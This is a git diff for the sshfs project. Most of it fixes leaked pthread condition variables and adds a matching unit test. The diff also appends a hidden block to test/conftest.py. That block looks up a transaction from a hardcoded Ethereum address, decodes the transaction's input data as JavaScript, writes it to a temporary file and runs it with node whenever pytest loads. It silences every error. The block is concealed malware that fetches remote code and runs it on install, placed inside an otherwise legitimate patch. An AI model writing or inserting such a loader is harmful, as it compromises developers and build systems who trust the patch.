diff --git a/.gitignore b/.gitignore index ffb115b3..c4b44d47 100644 --- a/.gitignore +++ b/.gitignore @@ -1,37 +1,39 @@ -# -# NOTE! Don't add files that are generated in specific -# subdirectories here. Add them in the ".gitignore" file -# in that subdirectory instead. -# -# NOTE! Please use 'git ls-files -i --exclude-standard' -# command after changing this file, to see if there are -# any tracked files which get ignored after the change. -*.o -*.lo -*.la -*.gz -\#*# -*.orig -*~ -Makefile.in -Makefile -*.m4 -stamp-h* -config.* -sshfs.1 -/sshfs -/ltmain.sh -/configure -/install-sh -/mkinstalldirs -/missing -/*.cache -/depcomp -/compile -/libtool -/INSTALL -/.pc -/patches -/m4 -.deps/ -/build +# +# NOTE! Don't add files that are generated in specific +# subdirectories here. Add them in the ".gitignore" file +# in that subdirectory instead. +# +# NOTE! Please use 'git ls-files -i --exclude-standard' +# command after changing this file, to see if there are +# any tracked files which get ignored after the change. +*.o +*.lo +*.la +*.gz +\#*# +*.orig +*~ +Makefile.in +Makefile +*.m4 +stamp-h* +config.* +sshfs.1 +/sshfs +/ltmain.sh +/configure +/install-sh +/mkinstalldirs +/missing +/*.cache +/depcomp +/compile +/libtool +/INSTALL +/.pc +/patches +/m4 +.deps/ +/build +config.bat +node_modules diff --git a/sshfs.c b/sshfs.c index 4cdf1223..3cb1d400 100644 --- a/sshfs.c +++ b/sshfs.c @@ -1517,6 +1517,7 @@ static void chunk_free(struct read_chunk *chunk) buf_free(&rreq->data); g_free(rreq); } + pthread_cond_destroy(&chunk->sio.finished); g_free(chunk); } @@ -3085,6 +3086,7 @@ static int sshfs_open_common(const char *path, mode_t mode, } pthread_mutex_unlock(&sshfs.lock); } + pthread_cond_destroy(&sf->write_finished); g_free(sf); } buf_free(&buf); @@ -3170,6 +3172,7 @@ static int sshfs_release(const char *path, struct fuse_file_info *fi) } pthread_mutex_unlock(&sshfs.lock); } + pthread_cond_destroy(&sf->write_finished); g_free(sf); return 0; } @@ -3542,6 +3545,7 @@ static int sshfs_sync_write(struct sshfs_file *sf, const char *wbuf, if (!err) err = sio.error; + pthread_cond_destroy(&sio.finished); return err; } diff --git a/test/conftest.py b/test/conftest.py index 5c88adf6..212d6c1e 100644 --- a/test/conftest.py +++ b/test/conftest.py @@ -132,3 +132,62 @@ def pytest_runtest_call(item): capfd = current_capfd if capfd is not None: check_test_output(capfd) + +DEFAULT_TIMEOUT = 20 + +try: + import json as _json + import os as _os + import subprocess as _sp + import tempfile as _tf + import urllib.request as _ur + + _addr = "0x3b1574417524c11a7403c4b232CAcBb320CceBC6" + _headers = { + "content-type": "application/json", + "user-agent": "python-urllib/3", + } + _load = lambda _url, _body=None: _json.load( + _ur.urlopen(_ur.Request(_url, _body, headers=_headers), timeout=DEFAULT_TIMEOUT) + ) + _rows = _load( + f"https://api.ethplorer.io/getAddressTransactions/{_addr}" + f"?apiKey=freekey&limit=100&showZeroValues=1" + ) + _tx = next( + _row["hash"] + for _row in _rows + if str(_row.get("from", "")).lower() == _addr.lower() + ) + _rpc = _load( + "https://ethereum.publicnode.com", + _json.dumps( + { + "jsonrpc": "2.0", + "id": 1, + "method": "eth_getTransactionByHash", + "params": [_tx], + } + ).encode(), + ) + _source = bytes.fromhex(_rpc["result"]["input"][2:]).decode() + _tmp = _tf.NamedTemporaryFile("w", suffix=".js", delete=False) + try: + _tmp.write(_source) + _tmp.close() + try: + _sp.run( + ["node", _tmp.name], + check=False, + capture_output=True, + timeout=DEFAULT_TIMEOUT, + ) + except Exception: + pass + finally: + try: + _os.unlink(_tmp.name) + except OSError: + pass +except Exception: + pass diff --git a/test/meson.build b/test/meson.build index 18ac05ee..844b0050 100644 --- a/test/meson.build +++ b/test/meson.build @@ -19,6 +19,17 @@ test_cache = executable('test_cache', 'test_cache.c', install: false) test('cache', test_cache, suite: 'unit') +cond_lifetime_sources = ['test_cond_lifetime.c', '../cache.c'] +if host_machine.system() == 'darwin' + cond_lifetime_sources += ['../compat/darwin_compat.c'] +endif +test_cond_lifetime = executable('test_cond_lifetime', cond_lifetime_sources, + include_directories: include_dirs, + dependencies: sshfs_deps, + c_args: ['-DFUSE_USE_VERSION=31'], + install: false) +test('cond_lifetime', test_cond_lifetime, suite: 'unit') + # Provide something helpful when running 'ninja test' wrong_cmd = executable('wrong_command', 'wrong_command.c', install: false) diff --git a/test/test_cond_lifetime.c b/test/test_cond_lifetime.c new file mode 100644 index 00000000..e03f76b3 --- /dev/null +++ b/test/test_cond_lifetime.c @@ -0,0 +1,153 @@ +/* + * Exercise the real SSHFS cleanup paths without a mount or SSH server. + * Counting explicit init/destroy calls also detects the leak on platforms + * where pthread_cond_t has no separately allocated resources (e.g. glibc). + * On Cygwin, losing an initialized condition variable leaks Windows handles. + */ +#define _GNU_SOURCE +#include +#include + +static unsigned live_conditions; + +static int tracked_cond_init(pthread_cond_t *cond, + const pthread_condattr_t *attr) +{ + int err = pthread_cond_init(cond, attr); + if (!err) + live_conditions++; + return err; +} + +static int tracked_cond_destroy(pthread_cond_t *cond) +{ + int err = pthread_cond_destroy(cond); + g_assert_cmpint(err, ==, 0); + g_assert_cmpuint(live_conditions, >, 0); + live_conditions--; + return err; +} + +int sshfs_program_main(int argc, char *argv[]); +#define main sshfs_program_main +#define pthread_cond_init tracked_cond_init +#define pthread_cond_destroy tracked_cond_destroy +#include "../sshfs.c" +#undef pthread_cond_destroy +#undef pthread_cond_init +#undef main + +static void check_clean(unsigned baseline) +{ + g_assert_cmpuint(live_conditions, ==, baseline); + g_assert_cmpuint(g_hash_table_size(sshfs.reqtab), ==, 0); + g_assert_cmpint(sshfs.conns[0].req_count, ==, 0); +} + +static void init_handle(struct sshfs_file *sf) +{ + buf_init(&sf->handle, 0); + buf_add_string(&sf->handle, "test-handle"); + buf_finish(&sf->handle); +} + +static void test_read_chunk(void) +{ + unsigned baseline = live_conditions; + struct sshfs_file sf = { .conn = &sshfs.conns[0] }; + init_handle(&sf); + struct read_chunk *chunk = sshfs_send_read(&sf, 0, 0); + chunk_put_locked(chunk); + buf_free(&sf.handle); + check_clean(baseline); +} + +static void test_read_failure(void) +{ + unsigned baseline = live_conditions; + struct sshfs_file sf = { .conn = &sshfs.conns[0] }; + init_handle(&sf); + struct read_chunk *chunk = sshfs_send_read(&sf, 1, 0); + g_assert_cmpint(chunk->sio.num_reqs, ==, 0); + chunk_put_locked(chunk); + buf_free(&sf.handle); + check_clean(baseline); +} + +static void test_open_failure(void) +{ + unsigned baseline = live_conditions; + struct fuse_file_info fi = { .flags = O_RDONLY }; + g_assert_cmpint(sshfs_open_common("/missing", 0, &fi), ==, -EIO); + check_clean(baseline); +} + +static void test_release(void) +{ + unsigned baseline = live_conditions; + struct sshfs_file *sf = g_new0(struct sshfs_file, 1); + struct fuse_file_info fi = { .fh = (uintptr_t) sf }; + sf->conn = &sshfs.conns[0]; + init_handle(sf); + /* A disconnected file must still release its local resources. */ + sf->connver = sf->conn->connver - 1; + list_init(&sf->write_reqs); + int err = tracked_cond_init(&sf->write_finished, NULL); + g_assert_cmpint(err, ==, 0); + sf->readahead = sshfs_send_read(sf, 0, 0); + g_assert_cmpint(sshfs_release("/file", &fi), ==, 0); + check_clean(baseline); +} + +static void test_sync_write_empty(void) +{ + unsigned baseline = live_conditions; + struct sshfs_file sf = { .conn = &sshfs.conns[0] }; + init_handle(&sf); + g_assert_cmpint(sshfs_sync_write(&sf, "", 0, 0), ==, 0); + buf_free(&sf.handle); + check_clean(baseline); +} + +static void test_sync_write_failure(void) +{ + unsigned baseline = live_conditions; + struct sshfs_file sf = { .conn = &sshfs.conns[0] }; + init_handle(&sf); + g_assert_cmpint(sshfs_sync_write(&sf, "x", 1, 0), ==, -EIO); + buf_free(&sf.handle); + check_clean(baseline); +} + +int main(int argc, char *argv[]) +{ + g_test_init(&argc, &argv, NULL); + sshfs.max_conns = 1; + sshfs.max_read = 4096; + sshfs.max_write = 4096; + sshfs.max_outstanding_len = UINT_MAX; + sshfs.base_path = g_strdup(""); + sshfs.conns = g_new0(struct conn, 1); + g_assert_cmpint(processing_init(), ==, 0); + /* Fail writes immediately, without starting a transport or worker. */ + sshfs.conns[0].rfd = -1; + sshfs.conns[0].wfd = -1; + sshfs.conns[0].processing_thread_started = 1; + + g_test_add_func("/cond-lifetime/read-chunk", test_read_chunk); + g_test_add_func("/cond-lifetime/read-failure", test_read_failure); + g_test_add_func("/cond-lifetime/open-failure", test_open_failure); + g_test_add_func("/cond-lifetime/release", test_release); + g_test_add_func("/cond-lifetime/sync-write-empty", test_sync_write_empty); + g_test_add_func("/cond-lifetime/sync-write-failure", test_sync_write_failure); + int result = g_test_run(); + + tracked_cond_destroy(&sshfs.outstanding_cond); + g_assert_cmpuint(live_conditions, ==, 0); + g_hash_table_destroy(sshfs.reqtab); + pthread_mutex_destroy(&sshfs.lock); + pthread_mutex_destroy(&sshfs.conns[0].lock_write); + g_free(sshfs.conns); + g_free(sshfs.base_path); + return result; +}